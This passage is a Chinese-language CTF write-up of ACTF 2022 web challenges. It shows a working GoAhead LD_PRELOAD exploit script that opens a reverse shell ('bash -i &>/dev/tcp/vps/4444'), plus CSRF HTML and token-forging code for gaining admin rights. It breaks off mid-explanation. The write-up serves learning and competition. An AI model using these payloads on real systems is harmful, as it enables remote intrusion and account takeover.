2022ACTF-web-WP&分析记录

2022ACTF-web-WP&分析记录

image-20220630191904114

​ 上周末的ACTF在web方向的题目质量还是很高的(至少对我这个caiji来说),同时出现了两个之前比赛不怎么常用的漏洞利用点,还是很值得学习的,一个是TLS的会话复用(HTTPS和FTPS均可,在这次比赛用的是FTPS),还有一个点那就是通过mysql的配置加载插件,然后插件提权进行RCE

又是一篇补发的文章, 之前投了之后文章就直接文件夹吃灰了

文章首发于奇安信攻防社区: ACTF-web-WP&分析记录

gogogo

题目描述

ACTF warmup
http://123.60.84.229:10218
docker retstart every 10 minutes!

看一下dockerfile:

image-20220630181313802

可以看到从github项目下载了goahead服务,同时在cgi-bin接口/htllo

image-20220630181500369

访问一下/cgi-bin/hello

image-20220630181617858

可以看到返回了env命令的执行返回结果,到这里,题目的环境也就了解完了,漏洞点在哪里呢?

这个如果看过p神的文章:GoAhead环境变量注入复现踩坑记那对这个题就不会陌生了,可以看到题目的dockerfile和p神文章中的dockerfile可以说是如出一辙了

image-20220630181901575

那么要怎么样利用漏洞解题,看过文章之后可以知道有以下漏洞点:

  1. 该环境的goahead服务会将我们form表单传入的数据键值对设置为环境变量
  2. /proc/self/fd/xxx这个指针指向我们上传的临时文件

这时候就要用到一个环境变量了:LD_PRELOAD

LD_PRELOAD的作用和用法可以参考这两篇文章:原理参考 ,使用方法

最后我们传输一个form表单,设置LD_PRELOAD=/proc/self/fd/6-20(多线程)

import os
import threading

payload="""
#include <stdlib.h>
#include <string.h>
__attribute__ ((constructor)) void call ()
{
    unsetenv("LD_PRELOAD");
    char str[65536];

    system("bash -c 'exec bash -i &>/dev/tcp/vps/4444 <&1'");

    system("cat /flag > /var/www/html/flag");
}
"""
f=open("payload.c","w")
f.write(payload)
f.close()
def cmdcommand(cmd,pid):
    while 1:
        print("-"*100,pid)
        os.system(cmd)

_pid=int(input("pid#"))
for i in range(10):
    pid=_pid+i
    cmd = "gcc -shared -fPIC ./payload.c -o payload.so;curl -v -F data=@payload.so -F 'LD_PRELOAD=/proc/self/fd/%d' http://123.60.84.229:10218/cgi-bin/hello" % pid
    threading.Thread(target=cmdcommand,args=(cmd,pid,)).start()

先nc监听我们自己的vps的4444端口,然后运行python脚本对上传的so文件进行加载之后就会反弹shell到我们的vps上

如果失败了就微调一下pid即可,拿到shell之后执行cat /flag获取flag

image-20220630183904064

image-20220630183725251

beWhatYouWannaBe

题目描述

“doctor, actor, lawyer or a singer
why not president, be a dreamer
You can be just the one you wanna be.”

http://124.71.180.254:10022
It is recommended to test locally first.
Chrome’s processes will be cleaned up every 2 minutes to avoid take up too much memory.
Attachment is updated[2022-06-26 2:10 UTC+8] for stable exploitation.

题目可利用点只有一个:admin用户的CSRF

有两段flag:

  1. 一段需要成为admin类型的用户后直接访问/flag获取
  2. 需要CSRF让admin用户访问页面后从页面获取元素满足fff.lll.aaa.ggg.value == "this_is_what_i_want"然后就会带着flag再次访问传入的url

image-20220630184551625

第一部分的flag获取检验的admin身份并不是必须为用户名为admin的用户,我们是可以通过/beAdmin接口让自己的账号变为一个"admin账户",但是想要成为admin用户需要满足当前的tocken验证(这个tocken是通过当前时间戳获取的),写一个help.heml:

<!DOCTYPE html>
<html>
  <body>
    <form name=loginform action="http://127.0.0.1:8000/beAdmin" method="POST" target="_blank">
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="password" value="123456" />
      <input type="hidden" name="csrftoken" value="tocken" />
    <input type="submit" value="Submit request" />
    </form>
    <iframe name=ifname src="/" frameborder="0"></iframe>>
      <script >
for(var i=1;i<1000;i++){
        var flagtext;
        var myRequest = new Request('/getToken');//该接口我们自己实现
        fetch(myRequest).then(function(response) {
          return response.text().then(function(text) {
            document.loginform.username.value = 'admint';
            document.loginform.password.value = 'admint';
            document.loginform.csrftoken.value = text;
            console.log(document.loginform.username.value,document.loginform.password.value,document.loginform.csrftoken.value);
            document.loginform.submit();
          });
        });
}
      </script>
  </body>

</html>

生成tocken的关键代码如下:

import hashlib
import math
import time

def encode():
    s = str(time.time_ns())[:-6:]
    f = int(s) / 1000
    sin = math.sin(f)
    text=sin
    sha = hashlib.sha256()  # Get the hash algorithm.
    sha.update(str(text).encode())  # Hash the data.
    b = sha.hexdigest()  # Get he hash value.
    print(s,f,sin,b)
    return b

之后多次尝试直到自己的账号变为admin账户后去访问、flag可以获得第一段flag

看一下第二部分flag获取的代码逻辑:

image-20220630185100950

之后通过定义标签属性name=fff从而使得nodejs后台获得的fff为该标签对象

至于去标签的lll.aaa.ggg的过程有两种解决方法:

  1. 方法一是通过逐个页面定义获取属性值最后得到this_is_what_i_want

    1. 1.html定义一个name=fff的iframe标签,直接添加src为含有name=lll子标签的的下一个html页面2.html